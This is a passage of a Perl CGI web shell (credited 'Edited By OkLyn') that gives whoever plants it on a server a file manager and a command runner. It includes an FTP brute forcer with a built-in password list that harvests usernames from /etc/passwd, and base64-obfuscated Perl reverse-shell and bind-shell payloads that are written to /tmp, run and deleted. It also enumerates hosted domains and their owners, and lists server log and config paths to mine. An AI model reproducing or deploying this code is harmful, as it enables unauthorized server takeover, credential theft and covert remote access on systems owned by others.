  874.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  875.     substr($RunCommand,0,5)="";
  876.     my $file=&trim($RunCommand);
  877.     $save='<br><input name="a" type="submit" value="save" class="submit" >';
  878.     $File=$CurrentDir.$PathSep.$RunCommand;
  879.     my $dir="<span style='font: 8pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  880.     if(-w $File)
  881.     {
  882.         $rows="23"
  883.     }else
  884.     {
  885.         $msg="<br><font style='color: yellow;' > Cann't write file!<font><br>";
  886.         $rows="20"
  887.     }
  888.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  889.     $RunCommand = "edit $RunCommand";
  890.     $result .=  <<END;
  891.     <form name="f" method="POST" action="$ScriptLocation">
  892.  
  893.     <input type="hidden" name="d" value="$EncodeCurrentDir">
  894.     $Prompt
  895.     <input type="text" size="70" name="c">
  896.     <input name="s" class="submit" type="submit" value="Enter">
  897.     <br>Command: <run> $RunCommand </run>
  898.     <input type="hidden" name="file" value="$file" > $save <br> $msg
  899.     <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  900. END
  901.    
  902.     $result .= &HtmlSpecialChars(&FileOpen($File,0));
  903.     $result .= "</textarea>";
  904.     $result .= "</form>";
  905.     return $result;
  906. }
  907. #==============================================================================
  908. # File Open
  909. #==============================================================================
  910. sub FileOpen($){
  911.     my $file = shift;
  912.     my $binary = shift;
  913.     my $result = "";
  914.     my $n = "";
  915.     if(-f $file){
  916.         if(open(FILE,$file)){
  917.             if($binary){
  918.                 binmode FILE;
  919.             }
  920.             while (($n = read FILE, $data, 1024) != 0) {
  921.                 $result .= $data;
  922.             }
  923.             close(FILE);
  924.         }
  925.     }else
  926.     {
  927.         return "Not's a File!";
  928.     }
  929.     return $result;
  930. }
  931. #==============================================================================
  932. # Save File
  933. #==============================================================================
  934. sub SaveFile($)
  935. {
  936.     my $Data= shift ;
  937.     my $File= shift;
  938.     $File=$CurrentDir.$PathSep.$File;
  939.     if(open(FILE, ">$File"))
  940.     {
  941.         binmode FILE;
  942.         print FILE $Data;
  943.         close FILE;
  944.         return 1;
  945.     }else
  946.     {
  947.         return 0;
  948.     }
  949. }
  950. #------------------------------------------------------------------------------
  951. # Brute Forcer Form
  952. #------------------------------------------------------------------------------
  953. sub BruteForcerForm
  954. {
  955.     my $result="";
  956.     $result .= <<END;
  957.  
  958. <table>
  959.  
  960. <tr>
  961. <td colspan="2" align="center">
  962. ####################################<br>
  963. FTP brute forcer<br>
  964. Note: Only scan from 1 to 3 user<br>
  965. ####################################
  966. <form name="f" method="POST" action="$ScriptLocation">
  967.  
  968. <input type="hidden" name="a" value="bruteforcer"/>
  969. </td>
  970. </tr>
  971. <tr>
  972. <td>User:<br><textarea rows="18" cols="30" name="user">
  973. END
  974. chop($result .= `less /etc/passwd | cut -d: -f1`);
  975. $result .= <<'END';
  976. </textarea></td>
  977. <td>
  978.  
  979. Pass:<br>
  980. <textarea rows="18" cols="30" name="pass">test
  981. test1
  982. test2
  983. test3
  984. test123
  985. test12
  986. 1test
  987. 2test
  988. 3test
  989. 12test
  990. 123test
  991. 2012test
  992. test2012
  993. money
  994. mymoney
  995. demo
  996. saya
  997. sayasendiri
  998. sendiri
  999. aku
  1000. akudewe
  1001. pasworde
  1002. passwordte
  1003. paswordnya
  1004. passwordnya
  1005. rahasia
  1006. megatron
  1007. doraemon
  1008. doremon
  1009. spongebob
  1010. unyuunyu
  1011. punyumunyu
  1012. iamsexy
  1013. sexy
  1014. Admin
  1015. 123Admin
  1016. AdminAdmin
  1017. Admin123
  1018. Admin1
  1019. Admin12
  1020. !@#$%^&*()_+|
  1021. ZXCVBNM<>?
  1022. !QAZ@WSX
  1023. 1qaz2wsx
  1024. Administrator
  1025. Root
  1026. Bangsat
  1027. Bangsat123
  1028. bangsat
  1029. bangsat123
  1030. adminweb
  1031. webadmin
  1032. foryou
  1033. loveyou
  1034. adminsite
  1035. keparat
  1036. fuckshit
  1037. dancok
  1038. jancok
  1039. 123jancok
  1040. jancok123
  1041. j4nc0k
  1042. f4cky0u
  1043. unlimited
  1044. robot
  1045. iloveyou
  1046. pokerface
  1047. wellcome
  1048. hellcome
  1049. demo2012
  1050. demo2010
  1051. demo2011
  1052. demodemo
  1053. demo1
  1054. demo12
  1055. demo123
  1056. demo1234
  1057. demo12345
  1058. 1demo
  1059. 2demo
  1060. 3demo
  1061. 4demo
  1062. 5demo
  1063. 12demo
  1064. 123demo
  1065. 1234demo
  1066. 12345demo
  1067. !@#$%
  1068. !@#$%^
  1069. ......
  1070. 11111
  1071. 111111
  1072. 1111111
  1073. 11111111
  1074. 121212
  1075. 123
  1076. 123123
  1077. 123123123
  1078. 123333
  1079. 1234
  1080. 12344
  1081. 12344321
  1082. 12345
  1083. 123456
  1084. 1234567
  1085. 12345678
  1086. 123456789
  1087. 12345678910
  1088. 12345679
  1089. 123456admin
  1090. 12345admin
  1091. 1234admin
  1092. 1234qwer
  1093. 1234qwerty
  1094. 123abc
  1095. 123admin
  1096. 123asd
  1097. 123pass
  1098. 123qwe
  1099. 123qwer
  1100. 123qwerty
  1101. 123root321
  1102. 123ubsrkk
  1103. 12qwerty
  1104. 1928
  1105. 19710314
  1106. 1a2b3c
  1107. 1a2s3d
  1108. 1q2w3e
  1109. 1qaz2wsx
  1110. 1z2x3c
  1111. 333
  1112. 3333
  1113. 33333
  1114. 333333
  1115. 3333333
  1116. 33333333
  1117. 444444
  1118. 4444444
  1119. 44444444
  1120. 4rfvgy7
  1121. 515703
  1122. 555555
  1123. 5555555
  1124. 55555555
  1125. 56789
  1126. 5831407
  1127. 654321
  1128. 666
  1129. 666666
  1130. 6666666
  1131. 66666666
  1132. 7777
  1133. 777777
  1134. 7777777
  1135. 77777777
  1136. 8675309
  1137. 88888
  1138. 888888
  1139. 8888888
  1140. 88888888
  1141. 90210
  1142. 987654321
  1143. 9880
  1144. 999999
  1145. 9999999
  1146. 99999999
  1147. adm
  1148. adm123
  1149. adm1234
  1150. adm1n
  1151. adm1nserver
  1152. admiinns
  1153. admin
  1154. admin01
  1155. admin02
  1156. admin1
  1157. admin12
  1158. admin123
  1159. admin1234
  1160. admin12345
  1161. admin123456
  1162. admin2
  1163. admin2010
  1164. admin2011
  1165. admin2012
  1166. admin2020
  1167. admin321
  1168. adminadmin
  1169. administration
  1170. administrator
  1171. administrator1
  1172. administrator123
  1173. adminroot
  1174. admins
  1175. pass
  1176. pass123
  1177. pass123456
  1178. passkey
  1179. passw0rd
  1180. passwd
  1181. password
  1182. password123
  1183. passwort
  1184. zxcvbn
  1185. zxcvbnm
  1186. ganteng
  1187. sayang
  1188. indonesia
  1189. kamseupay
  1190. galau
  1191. hacker
  1192. busted
  1193. sukses
  1194. tampan
  1195. bismillah
  1196. muhammad</textarea>
  1197. </td>
  1198. </tr>
  1199. <tr>
  1200. <td colspan="2" align="center">
  1201. Sleep:<select name="sleep">
  1202.  
  1203. <option>0</option>
  1204. <option>1</option>
  1205. <option>2</option>
  1206.  
  1207. <option>3</option>
  1208. </select>
  1209. <input type="submit" class="submit" value="Brute Forcer"/></td></tr>
  1210. </form>
  1211. </table>
  1212. END
  1213. return $result;
  1214. }
  1215. #------------------------------------------------------------------------------
  1216. # Brute Forcer
  1217. #------------------------------------------------------------------------------
  1218. sub BruteForcer
  1219. {
  1220.     my $result="";
  1221.     $Server=$ENV{'SERVER_ADDR'};
  1222.     if($in{'user'} eq "")
  1223.     {
  1224.         $result .= &BruteForcerForm;
  1225.     }else
  1226.     {
  1227.         use Net::FTP;
  1228.         @user= split(/\n/, $in{'user'});
  1229.         @pass= split(/\n/, $in{'pass'});
  1230.         chomp(@user);
  1231.         chomp(@pass);
  1232.         $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  1233.         foreach $username (@user)
  1234.         {
  1235.             if($username ne "")
  1236.             {
  1237.                 foreach $password (@pass)
  1238.                 {
  1239.                     $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1240.                     if($ftp->login("$username","$password"))
  1241.                     {
  1242.                         $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1243.                         $ftp->quit();
  1244.                         break;
  1245.                     }
  1246.                     if($in{'sleep'} ne "0")
  1247.                     {
  1248.                         sleep(int($in{'sleep'}) * 1000);
  1249.                     }
  1250.                     $ftp->quit();
  1251.                 }
  1252.             }
  1253.         }
  1254.         $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1255.     }
  1256.     return $result;
  1257. }
  1258. #------------------------------------------------------------------------------
  1259. # Backconnect Form
  1260. #------------------------------------------------------------------------------
  1261. sub BackBindForm
  1262. {
  1263.     return <<END;
  1264.     <br><br>
  1265.  
  1266.     <table>
  1267.     <tr>
  1268.     <form name="f" method="POST" action="$ScriptLocation">
  1269.     <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  1270.     <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1271.      Port: <input type="text" size="6" name="clientport" value="80" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1272.  
  1273.     <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td>
  1274.     </form>
  1275.     </tr>
  1276.     <tr>
  1277.     <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1278.     <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a>
  1279.     <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
  1280.  
  1281.     </tr>
  1282.     </table>
  1283.  
  1284.     <br><br>
  1285.     <table>
  1286.     <tr>
  1287.     <form method="POST" action="$ScriptLocation">
  1288.     <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1289.  
  1290.     <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1291.  
  1292.      Password: <input type="text" size="12" name="bindpass" value="vinakid"></td>
  1293.     <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td>
  1294.     </form>
  1295.     </tr>
  1296.     <tr>
  1297.     <td colspan=3><font color=#FFFFFF>[+] Testing ....
  1298.     <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
  1299.  
  1300.     </tr>
  1301.     </table><br>
  1302. END
  1303. }
  1304. #------------------------------------------------------------------------------
  1305. # Backconnect use perl
  1306. #------------------------------------------------------------------------------
  1307. sub BackBind
  1308. {
  1309.     use Socket;
  1310.     $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
  1311.     $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1312.  
  1313.     $ClientAddr = $in{'clientaddr'};
  1314.     $ClientPort = int($in{'clientport'});
  1315.     if($ClientPort eq 0)
  1316.     {
  1317.         return &BackBindForm;
  1318.     }elsif(!$ClientAddr eq "")
  1319.     {
  1320.         $Data=decode_base64($backperl);
  1321.         if(-w "/tmp/")
  1322.         {
  1323.             $File="/tmp/backconnect.pl";   
  1324.         }else
  1325.         {
  1326.             $File=$CurrentDir.$PathSep."backconnect.pl";
  1327.         }
  1328.         open(FILE, ">$File");
  1329.         print FILE $Data;
  1330.         close FILE;
  1331.         system("perl $File $ClientAddr $ClientPort");
  1332.         unlink($File);
  1333.         exit 0;
  1334.     }else
  1335.     {
  1336.         $Data=decode_base64($bindperl);
  1337.         if(-w "/tmp")
  1338.         {
  1339.             $File="/tmp/bindport.pl";  
  1340.         }else
  1341.         {
  1342.             $File=$CurrentDir.$PathSep."bindport.pl";
  1343.         }
  1344.         open(FILE, ">$File");
  1345.         print FILE $Data;
  1346.         close FILE;
  1347.         system("perl $File $ClientPort");
  1348.         unlink($File);
  1349.         exit 0;
  1350.     }
  1351. }
  1352. #------------------------------------------------------------------------------
  1353. #  Array List Directory
  1354. #------------------------------------------------------------------------------
  1355. sub RmDir($)
  1356. {
  1357.     my $dir = shift;
  1358.     if(opendir(DIR,$dir))
  1359.     {
  1360.         while($file = readdir(DIR))
  1361.         {
  1362.             if(($file ne ".") && ($file ne ".."))
  1363.             {
  1364.                 $file= $dir.$PathSep.$file;
  1365.                 if(-d $file)
  1366.                 {
  1367.                     &RmDir($file);
  1368.                 }
  1369.                 else
  1370.                 {
  1371.                     unlink($file);
  1372.                 }
  1373.             }
  1374.         }
  1375.         closedir(DIR);
  1376.     }
  1377. }
  1378. sub FileOwner($)
  1379. {
  1380.     my $file = shift;
  1381.     if(-e $file)
  1382.     {
  1383.         ($uid,$gid) = (stat($file))[4,5];
  1384.         if($WinNT)
  1385.         {
  1386.             return "???";
  1387.         }
  1388.         else
  1389.         {
  1390.             $name=getpwuid($uid);
  1391.             $group=getgrgid($gid);
  1392.             return $name."/".$group;
  1393.         }
  1394.     }
  1395.     return "???";
  1396. }
  1397. sub ParentFolder($)
  1398. {
  1399.     my $path = shift;
  1400.     my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1401.     chop($path = `$Comm`);
  1402.     return $path;
  1403. }
  1404. sub FilePerms($)
  1405. {
  1406.     my $file = shift;
  1407.     my $ur = "-";
  1408.     my $uw = "-";
  1409.     if(-e $file)
  1410.     {
  1411.         if($WinNT)
  1412.         {
  1413.             if(-r $file){ $ur = "r"; }
  1414.             if(-w $file){ $uw = "w"; }
  1415.             return $ur . " / " . $uw;
  1416.         }else
  1417.         {
  1418.             $mode=(stat($file))[2];
  1419.             $result = sprintf("%04o", $mode & 07777);
  1420.             return $result;
  1421.         }
  1422.     }
  1423.     return "0000";
  1424. }
  1425. sub FileLastModified($)
  1426. {
  1427.     my $file = shift;
  1428.     if(-e $file)
  1429.     {
  1430.         ($la) = (stat($file))[9];
  1431.         ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1432.         $y = $y + 1900;
  1433.         @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1434.         $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1435.         return $lmtime;
  1436.     }
  1437.     return "???";
  1438. }
  1439. sub FileSize($)
  1440. {
  1441.     my $file = shift;
  1442.     if(-f $file)
  1443.     {
  1444.         return -s "$file";
  1445.     }
  1446.     return "0";
  1447. }
  1448. sub ParseFileSize($)
  1449. {
  1450.     my $size = shift;
  1451.     if($size <= 1024)
  1452.     {
  1453.         return $size. " B";
  1454.     }
  1455.     else
  1456.     {
  1457.         if($size <= 1024*1024)
  1458.         {
  1459.             $size = sprintf("%.02f",$size / 1024);
  1460.             return $size." KB";
  1461.         }
  1462.         else
  1463.         {
  1464.             $size = sprintf("%.2f",$size / 1024 / 1024);
  1465.             return $size." MB";
  1466.         }
  1467.     }
  1468. }
  1469. sub trim($)
  1470. {
  1471.     my $string = shift;
  1472.     $string =~ s/^\s+//;
  1473.     $string =~ s/\s+$//;
  1474.     return $string;
  1475. }
  1476. sub AddSlashes($)
  1477. {
  1478.     my $string = shift;
  1479.     $string=~ s/\\/\\\\/g;
  1480.     return $string;
  1481. }
  1482. sub TrimSlashes($)
  1483. {
  1484.     my $string = shift;
  1485.     $string=~ s/\/\//\//g;
  1486.     $string=~ s/\\\\/\\/g;
  1487.     return $string;
  1488. }
  1489. sub ListDir
  1490. {
  1491.     my $path = &TrimSlashes($CurrentDir.$PathSep);
  1492.     my $result = "<form name='f' onSubmit=\"Encoder('d')\" action='$ScriptLocation'><span style='font: 8pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' id='d' name='d' size='70' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  1493.     if(-d $path)
  1494.     {
  1495.         my @fname = ();
  1496.         my @dname = ();
  1497.         if(opendir(DIR,$path))
  1498.         {
  1499.             while($file = readdir(DIR))
  1500.             {
  1501.                 $f=$path.$file;
  1502.                 if(-d $f)
  1503.                 {
  1504.                     push(@dname,$file);
  1505.                 }
  1506.                 else
  1507.                 {
  1508.                     push(@fname,$file);
  1509.                 }
  1510.             }
  1511.             closedir(DIR);
  1512.         }
  1513.         @fname = sort { lc($a) cmp lc($b) } @fname;
  1514.         @dname = sort { lc($a) cmp lc($b) } @dname;
  1515.         $result .= "<div><table width='90%' class='listdir'>
  1516.         <tr style='background-color: #3e3e3e'><th>File Name</th>
  1517.         <th width='100'>File Size</th>
  1518.         <th width='150'>Owner</th>
  1519.         <th width='100'>Permission</th>
  1520.         <th width='150'>Last Modified</th>
  1521.         <th width='230'>Action</th></tr>";
  1522.         my $style="notline";
  1523.         my $i=0;
  1524.         foreach my $d (@dname)
  1525.         {
  1526.             $style= ($style eq "line") ? "notline": "line";
  1527.             $d = &trim($d);
  1528.             $dirname=$d;
  1529.             if($d eq "..")
  1530.             {
  1531.                 $d = &ParentFolder($path);
  1532.             }
  1533.             elsif($d eq ".")
  1534.             {
  1535.                 next;
  1536.             }
  1537.             else
  1538.             {
  1539.                 $d = $path.$d;
  1540.             }
  1541.             $result .= "<tr class='$style'><td id='File_$i' class='dir'><a  href='?a=gui&d=".&EncodeDir($d)."'>[ ".$dirname." ]</a></td>";
  1542.             $result .= "<td>DIR</td>";
  1543.             $result .= "<td>".&FileOwner($d)."</td>";
  1544.             $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1545.             $result .= "<td>".&FileLastModified($d)."</td>";
  1546.             $result .= "<td><a onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."'); return false; \">Rename</a>  | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$dirname'>Remove</a></td>";
  1547.             $result .= "</tr>";
  1548.             $i++;
  1549.         }
  1550.         foreach my $f (@fname)
  1551.         {
  1552.             $style= ($style eq "line") ? "notline": "line";
  1553.             $file=$f;
  1554.             $f = $path.$f;
  1555.             my $action = encode_base64("edit ".$file);
  1556.             $view = "?dir=".$path."&view=".$f;
  1557.             $result .= "<tr class='$style'><td id='File_$i' class='file'><a href='?a=command&d=".&EncodeDir($path)."&c=".$action."'>".$file."</a></td>";
  1558.             $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1559.             $result .= "<td>".&FileOwner($f)."</td>";
  1560.             $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1561.             $result .= "<td>".&FileLastModified($f)."</td>";
  1562.             $result .= "<td><a onclick=\"rename_form($i,'$file','f'); return false;\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$file'>Remove</a></td>";
  1563.             $result .= "</tr>";
  1564.             $i++;
  1565.         }
  1566.         $result .= "</table></div>";
  1567.     }
  1568.     return $result;
  1569. }
  1570. #------------------------------------------------------------------------------
  1571. # Try to View List User
  1572. #------------------------------------------------------------------------------
  1573. sub ViewDomainUser
  1574. {
  1575.     open (d0mains, '/etc/named.conf') or $err=1;
  1576.     my @cnzs = <d0mains>;
  1577.     close d0mains;
  1578.     my $style="line";
  1579.     my $result="<center><h3><font style='font: 15pt Verdana;color: #25383C;'>Edited By OkLyn</font></h3><center/>";
  1580.     if ($err)
  1581.     {
  1582.         $result .=  ('<p>C0uldn\'t Bypass it , Sorry</p>');
  1583.         return $result;
  1584.     }else
  1585.     {
  1586.         $result .= '<table id="domain"><tr><th>d0mains</th> <th>User</th></tr>';
  1587.     }
  1588.     foreach my $one (@cnzs)
  1589.     {
  1590.         if($one =~ m/.*?zone "(.*?)" {/)
  1591.         {  
  1592.             $style= ($style eq "line") ? "notline": "line";
  1593.             $filename= trim("/etc/valiases/".$1);
  1594.             $owner = getpwuid((stat($filename))[4]);
  1595.             $result .= '<tr style="$style" width=50%><td><a href="http://'.$1.'" target="_blank">'.$1.'</a></td><td> '.$owner.'</td></tr>';
  1596.         }
  1597.     }
  1598.     $result .= '</table>';
  1599.     return $result;
  1600. }
  1601. #------------------------------------------------------------------------------
  1602. # View Log
  1603. #------------------------------------------------------------------------------
  1604. sub ViewLog
  1605. {
  1606.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  1607.     if($WinNT)
  1608.     {
  1609.         return "<h2><font style='font: 20pt Verdana;color: #25383C;'>Don't run on Windows</font></h2>";
  1610.     }
  1611.     my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1612.     my @pathlog=(   '/usr/local/apache/logs/error_log',
  1613.             '/usr/local/apache/logs/access_log',
  1614.             '/usr/local/apache2/conf/httpd.conf',
  1615.             '/var/log/httpd/error_log',
  1616.             '/var/log/httpd/access_log',
  1617.             '/usr/local/cpanel/logs/error_log',
  1618.             '/usr/local/cpanel/logs/access_log',
  1619.             '/usr/local/apache/logs/suphp_log',
  1620.             '/usr/local/cpanel/logs',
  1621.             '/usr/local/cpanel/logs/stats_log',
  1622.             '/usr/local/cpanel/logs/access_log',
  1623.             '/usr/local/cpanel/logs/error_log',
  1624.             '/usr/local/cpanel/logs/license_log',
  1625.             '/usr/local/cpanel/logs/login_log',
  1626.             '/usr/local/cpanel/logs/stats_log',
  1627.             '/var/cpanel/cpanel.config',
  1628.             '/usr/local/php/lib/php.ini',
  1629.             '/usr/local/php5/lib/php.ini',
  1630.             '/var/log/mysql/mysql-bin.log',
  1631.             '/var/log/mysql.log',
  1632.             '/var/log/mysqlderror.log',
  1633.             '/var/log/mysql/mysql.log',
  1634.             '/var/log/mysql/mysql-slow.log',
  1635.             '/var/mysql.log',
  1636.             '/var/lib/mysql/my.cnf',
  1637.             '/etc/mysql/my.cnf',
  1638.             '/etc/my.cnf',
  1639.             );
  1640.     my $i=0;
  1641.     my $perms;
  1642.     my $sl;
  1643.     foreach my $log (@pathlog)
  1644.     {
  1645.         if(-r $log)
  1646.         {
  1647.             $perms="OK";
  1648.         }else
  1649.         {
  1650.             $perms="<font style='color: red;'>Cancel<font>";
  1651.         }
  1652.         $result .=<<END;
  1653.         <tr>
  1654.  
  1655.             <form action="" method="post" onSubmit="Encoder('log$i')">
  1656.             <td><input type="text" id="log$i" name="c" value="tail -10000 $log | grep '/home'" size='50'/></td>
  1657.             <td><input class="submit" type="submit" value="Try" /></td>
  1658.             <input type="hidden" name="a" value="command" />
  1659.             <input type="hidden" name="d" value="$EncodeCurrentDir" />
  1660.             </form>
  1661.             <td>$perms</td>
  1662.  
  1663.         </tr>
  1664. END
  1665.         $i++;
  1666.     }
  1667.     $result .="</table>";
  1668.     return $result;
  1669. }
  1670. #------------------------------------------------------------------------------
  1671. # Main Program - Execution Starts Here
  1672. #------------------------------------------------------------------------------
  1673. &ReadParse;
  1674. &GetCookies;
  1675.  
  1676. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1677. $ServerName = $ENV{'SERVER_NAME'};
  1678. $LoginPassword = $in{'p'};
  1679. $RunCommand = decode_base64($in{'c'});
  1680. $TransferFile = $in{'f'};
  1681. $Options = $in{'o'};
  1682. $Action = $in{'a'};
  1683.  
  1684. $Action = "command" if($Action eq ""); # no action specified, use default
  1685.  
  1686. # get the directory in which the commands will be executed
  1687. $CurrentDir = &TrimSlashes(decode_base64(trim($in{'d'})));
  1688. # mac dinh xuat thong tin neu ko co lenh nao!
  1689. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1690. chomp($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1691.  
  1692. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1693.  
  1694. if($Action eq "login" || !$LoggedIn)        # user needs/has to login
  1695. {
  1696.     &PerformLogin;
  1697. }elsif($Action eq "gui") # GUI directory
  1698. {
  1699.     &PrintPageHeader("d");
  1700.     if(!$WinNT)
  1701.     {
  1702.         $chmod=int($in{'chmod'});
  1703.         if($chmod ne 0)
  1704.         {
  1705.             $chmod=int($in{'chmod'});
  1706.             $file=$CurrentDir.$PathSep.$TransferFile;
  1707.             if(chmod($chmod,$file))
  1708.             {
  1709.                 print "<run> Done! </run><br>";
  1710.             }else
  1711.             {
  1712.                 print "<run> Sorry! You dont have permissions! </run><br>";
  1713.             }
  1714.         }
  1715.     }
  1716.     $rename=$in{'rename'};
  1717.     if($rename ne "")
  1718.     {
  1719.         if(rename($TransferFile,$rename))
  1720.         {
  1721.             print "<run> Done! </run><br>";
  1722.         }else
  1723.         {
  1724.             print "<run> Sorry! You dont have permissions! </run><br>";
  1725.         }
  1726.     }
  1727.     $remove=$in{'remove'};
  1728.     if($remove ne "")
  1729.     {
  1730.         $rm = $CurrentDir.$PathSep.$remove;
  1731.         if(-d $rm)
  1732.         {
  1733.             &RmDir($rm);
  1734.         }else
  1735.         {
  1736.             if(unlink($rm))
  1737.             {
  1738.                 print "<run> Done! </run><br>";
  1739.             }else
  1740.             {
  1741.                 print "<run> Sorry! You dont have permissions! </run><br>";
  1742.             }          
  1743.         }
  1744.     }
  1745.     print &ListDir;
  1746.  
  1747. }
  1748. elsif($Action eq "command")                 # user wants to run a command
  1749. {
  1750.     &PrintPageHeader("c");
  1751.     print &ExecuteCommand;
  1752. }
  1753. elsif($Action eq "save")                    # user wants to save a file
  1754. {
  1755.     &PrintPageHeader;
  1756.     if(&SaveFile($in{'data'},$in{'file'}))
  1757.     {
  1758.         print "<run> Done! </run><br>";
  1759.     }else
  1760.     {
  1761.         print "<run> Sorry! You dont have permissions! </run><br>";
  1762.     }
  1763.     print &ListDir;
  1764. }elsif($Action eq "upload")                     # user wants to upload a file
  1765. {
  1766.     &PrintPageHeader("c");
  1767.     print &UploadFile;
  1768. }elsif($Action eq "backbind")               # user wants to back connect or bind port
  1769. {
  1770.     &PrintPageHeader("clientport");
  1771.     print &BackBind;
